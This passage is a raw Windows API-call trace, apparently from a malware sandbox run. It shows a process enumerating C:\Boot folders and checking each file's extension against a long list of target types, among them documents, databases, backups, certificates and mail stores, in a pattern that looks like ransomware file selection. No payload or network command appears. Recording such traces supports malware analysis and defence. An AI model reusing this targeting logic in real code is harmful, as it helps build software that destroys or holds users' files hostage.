[0092.429] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".emz") returned 4 [0092.429] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".epf") returned 4 [0092.429] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".eps") returned 4 [0092.429] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".epsf") returned 5 [0092.429] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0092.429] lstrlenW (lpString=".epsp") returned 5 [0092.429] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0092.429] lstrlenW (lpString=".erf") returned 4 [0092.429] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".exr") returned 4 [0092.429] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".f4v") returned 4 [0092.429] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".fido") returned 5 [0092.429] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0092.429] lstrlenW (lpString=".flm") returned 4 [0092.429] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".flv") returned 4 [0092.429] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".frm") returned 4 [0092.429] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".fxg") returned 4 [0092.429] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".geo") returned 4 [0092.429] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".gif") returned 4 [0092.430] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".grs") returned 4 [0092.430] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".gz") returned 3 [0092.430] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0092.430] lstrlenW (lpString=".h") returned 2 [0092.430] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0092.430] lstrlenW (lpString=".hdr") returned 4 [0092.430] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".hpp") returned 4 [0092.430] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".hta") returned 4 [0092.430] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".htc") returned 4 [0092.430] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".htm") returned 4 [0092.430] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".html") returned 5 [0092.430] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0092.430] lstrlenW (lpString=".icb") returned 4 [0092.430] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".ics") returned 4 [0092.430] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".iff") returned 4 [0092.430] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".inc") returned 4 [0092.430] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0092.430] lstrlenW (lpString=".indd") returned 5 [0092.430] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0092.430] lstrlenW (lpString=".ini") returned 4 [0092.430] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".iqy") returned 4 [0092.431] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".j2c") returned 4 [0092.431] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".j2k") returned 4 [0092.431] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".java") returned 5 [0092.431] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0092.431] lstrlenW (lpString=".jp2") returned 4 [0092.431] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".jpc") returned 4 [0092.431] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".jpe") returned 4 [0092.431] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".jpeg") returned 5 [0092.431] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0092.431] lstrlenW (lpString=".jpf") returned 4 [0092.431] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".jpg") returned 4 [0092.431] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".jpx") returned 4 [0092.431] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".js") returned 3 [0092.431] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0092.431] lstrlenW (lpString=".jsf") returned 4 [0092.431] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0092.431] lstrlenW (lpString=".json") returned 5 [0092.431] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0092.431] lstrlenW (lpString=".jsp") returned 4 [0092.432] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".kdc") returned 4 [0092.432] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".kmz") returned 4 [0092.432] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".kwm") returned 4 [0092.432] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".lasso") returned 6 [0092.432] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0092.432] lstrlenW (lpString=".lbi") returned 4 [0092.432] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".lgf") returned 4 [0092.432] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".lgp") returned 4 [0092.432] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".log") returned 4 [0092.432] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".m1v") returned 4 [0092.432] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".m4a") returned 4 [0092.432] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".m4v") returned 4 [0092.432] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".max") returned 4 [0092.432] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0092.432] lstrlenW (lpString=".md") returned 3 [0092.432] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0092.432] lstrlenW (lpString=".mda") returned 4 [0092.433] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mdb") returned 4 [0092.433] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mde") returned 4 [0092.433] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mdf") returned 4 [0092.433] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mdw") returned 4 [0092.433] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mef") returned 4 [0092.433] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mft") returned 4 [0092.433] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mfw") returned 4 [0092.433] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mht") returned 4 [0092.433] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mhtml") returned 6 [0092.433] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0092.433] lstrlenW (lpString=".mka") returned 4 [0092.433] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mkidx") returned 6 [0092.433] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0092.433] lstrlenW (lpString=".mkv") returned 4 [0092.433] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mos") returned 4 [0092.433] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mov") returned 4 [0092.433] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mp3") returned 4 [0092.433] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mp4") returned 4 [0092.433] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0092.433] lstrlenW (lpString=".mpeg") returned 5 [0092.433] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0092.433] lstrlenW (lpString=".mpg") returned 4 [0092.434] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0092.434] lstrlenW (lpString=".mpv") returned 4 [0092.434] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0092.434] lstrlenW (lpString=".mrw") returned 4 [0092.434] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0092.434] lstrlenW (lpString=".msg") returned 4 [0092.434] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0092.434] lstrlenW (lpString=".mxl") returned 4 [0092.434] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".myd") returned 4 [0092.434] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".myi") returned 4 [0092.434] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".nef") returned 4 [0092.434] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".nrw") returned 4 [0092.434] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".obj") returned 4 [0092.434] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".odb") returned 4 [0092.434] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".odc") returned 4 [0092.434] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".odm") returned 4 [0092.434] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".odp") returned 4 [0092.434] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".ods") returned 4 [0092.434] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".oft") returned 4 [0092.434] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".one") returned 4 [0092.434] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0092.434] lstrlenW (lpString=".onepkg") returned 7 [0092.435] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0092.435] lstrlenW (lpString=".onetoc2") returned 8 [0092.435] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0092.435] lstrlenW (lpString=".opt") returned 4 [0092.435] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".oqy") returned 4 [0092.435] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".orf") returned 4 [0092.435] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".p12") returned 4 [0092.435] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".p7b") returned 4 [0092.435] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".p7c") returned 4 [0092.435] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".pam") returned 4 [0092.435] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".pbm") returned 4 [0092.435] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".pct") returned 4 [0092.435] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".pcx") returned 4 [0092.435] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".pdd") returned 4 [0092.435] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".pdf") returned 4 [0092.435] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".pdp") returned 4 [0092.435] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0092.435] lstrlenW (lpString=".pef") returned 4 [0092.436] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0092.436] lstrlenW (lpString=".pem") returned 4 [0092.436] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0092.436] lstrlenW (lpString=".pff") returned 4 [0092.436] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0092.436] lstrlenW (lpString=".pfm") returned 4 [0092.436] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0092.436] lstrlenW (lpString=".pfx") returned 4 [0092.436] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0092.436] lstrlenW (lpString=".pgm") returned 4 [0092.436] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0092.436] lstrlenW (lpString=".php") returned 4 [0092.436] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0092.436] lstrlenW (lpString=".php3") returned 5 [0092.436] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0092.436] lstrlenW (lpString=".php4") returned 5 [0092.436] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0092.436] lstrlenW (lpString=".php5") returned 5 [0092.436] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0092.436] lstrlenW (lpString=".phtml") returned 6 [0092.436] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0092.436] lstrlenW (lpString=".pict") returned 5 [0092.436] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0092.436] lstrlenW (lpString=".pl") returned 3 [0092.436] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0092.436] lstrlenW (lpString=".pls") returned 4 [0092.436] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0092.437] lstrlenW (lpString=".pm") returned 3 [0092.437] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0092.437] lstrlenW (lpString=".png") returned 4 [0092.437] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0092.437] lstrlenW (lpString=".pnm") returned 4 [0092.437] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0092.437] lstrlenW (lpString=".pot") returned 4 [0092.437] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0092.437] lstrlenW (lpString=".potm") returned 5 [0092.437] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0092.437] lstrlenW (lpString=".potx") returned 5 [0092.437] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0092.437] lstrlenW (lpString=".ppa") returned 4 [0092.437] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0092.437] lstrlenW (lpString=".ppam") returned 5 [0092.437] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0092.437] lstrlenW (lpString=".ppm") returned 4 [0092.437] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0092.437] lstrlenW (lpString=".pps") returned 4 [0092.437] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0092.437] lstrlenW (lpString=".ppsm") returned 5 [0092.437] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0092.437] lstrlenW (lpString=".ppt") returned 4 [0092.437] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0092.437] lstrlenW (lpString=".pptm") returned 5 [0092.437] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0092.438] lstrlenW (lpString=".pptx") returned 5 [0092.438] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0092.438] lstrlenW (lpString=".prn") returned 4 [0092.438] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".ps") returned 3 [0092.438] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0092.438] lstrlenW (lpString=".psb") returned 4 [0092.438] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".psd") returned 4 [0092.438] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".pst") returned 4 [0092.438] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".ptx") returned 4 [0092.438] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".pub") returned 4 [0092.438] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".pwm") returned 4 [0092.438] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".pxr") returned 4 [0092.438] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".py") returned 3 [0092.438] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0092.438] lstrlenW (lpString=".qt") returned 3 [0092.438] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0092.438] lstrlenW (lpString=".r3d") returned 4 [0092.438] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".raf") returned 4 [0092.438] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0092.438] lstrlenW (lpString=".rar") returned 4 [0092.439] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0092.439] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0092.439] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0092.439] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0092.439] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0092.439] lstrlenW (lpString="C:\\Boot\\it-IT") returned 13 [0092.439] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0092.440] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0092.440] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0092.440] lstrlenW (lpString=".1cd") returned 4 [0092.440] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0092.440] lstrlenW (lpString=".3ds") returned 4 [0092.440] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0092.440] lstrlenW (lpString=".3fr") returned 4 [0092.440] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0092.440] lstrlenW (lpString=".3g2") returned 4 [0092.440] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0092.440] lstrlenW (lpString=".3gp") returned 4 [0092.440] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0092.440] lstrlenW (lpString=".7z") returned 3 [0092.440] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0092.440] lstrlenW (lpString=".accda") returned 6 [0092.440] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0092.440] lstrlenW (lpString=".accdb") returned 6 [0092.441] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0092.441] lstrlenW (lpString=".accdc") returned 6 [0092.441] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0092.441] lstrlenW (lpString=".accde") returned 6 [0092.441] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0092.441] lstrlenW (lpString=".accdt") returned 6 [0092.441] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0092.441] lstrlenW (lpString=".accdw") returned 6 [0092.441] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0092.441] lstrlenW (lpString=".adb") returned 4 [0092.441] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".adp") returned 4 [0092.441] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".ai") returned 3 [0092.441] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0092.441] lstrlenW (lpString=".ai3") returned 4 [0092.441] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".ai4") returned 4 [0092.441] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".ai5") returned 4 [0092.441] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".ai6") returned 4 [0092.441] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".ai7") returned 4 [0092.441] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".ai8") returned 4 [0092.441] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".anim") returned 5 [0092.441] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0092.441] lstrlenW (lpString=".arw") returned 4 [0092.441] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0092.441] lstrlenW (lpString=".as") returned 3 [0092.442] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0092.442] lstrlenW (lpString=".asa") returned 4 [0092.442] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".asc") returned 4 [0092.442] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".ascx") returned 5 [0092.442] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0092.442] lstrlenW (lpString=".asm") returned 4 [0092.442] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".asmx") returned 5 [0092.442] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0092.442] lstrlenW (lpString=".asp") returned 4 [0092.442] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".aspx") returned 5 [0092.442] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0092.442] lstrlenW (lpString=".asr") returned 4 [0092.442] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".asx") returned 4 [0092.442] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".avi") returned 4 [0092.442] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".avs") returned 4 [0092.442] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".backup") returned 7 [0092.442] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0092.442] lstrlenW (lpString=".bak") returned 4 [0092.442] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".bay") returned 4 [0092.442] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0092.442] lstrlenW (lpString=".bd") returned 3 [0092.443] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0092.443] lstrlenW (lpString=".bin") returned 4 [0092.443] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".bmp") returned 4 [0092.443] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".bz2") returned 4 [0092.443] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".c") returned 2 [0092.443] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0092.443] lstrlenW (lpString=".cdr") returned 4 [0092.443] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".cer") returned 4 [0092.443] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0092.443] lstrlenW (lpString=".cf") returned 3 [0092.443] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0092.443] lstrlenW (lpString=".cfc") returned 4 [0092.443] lstrcmpiW 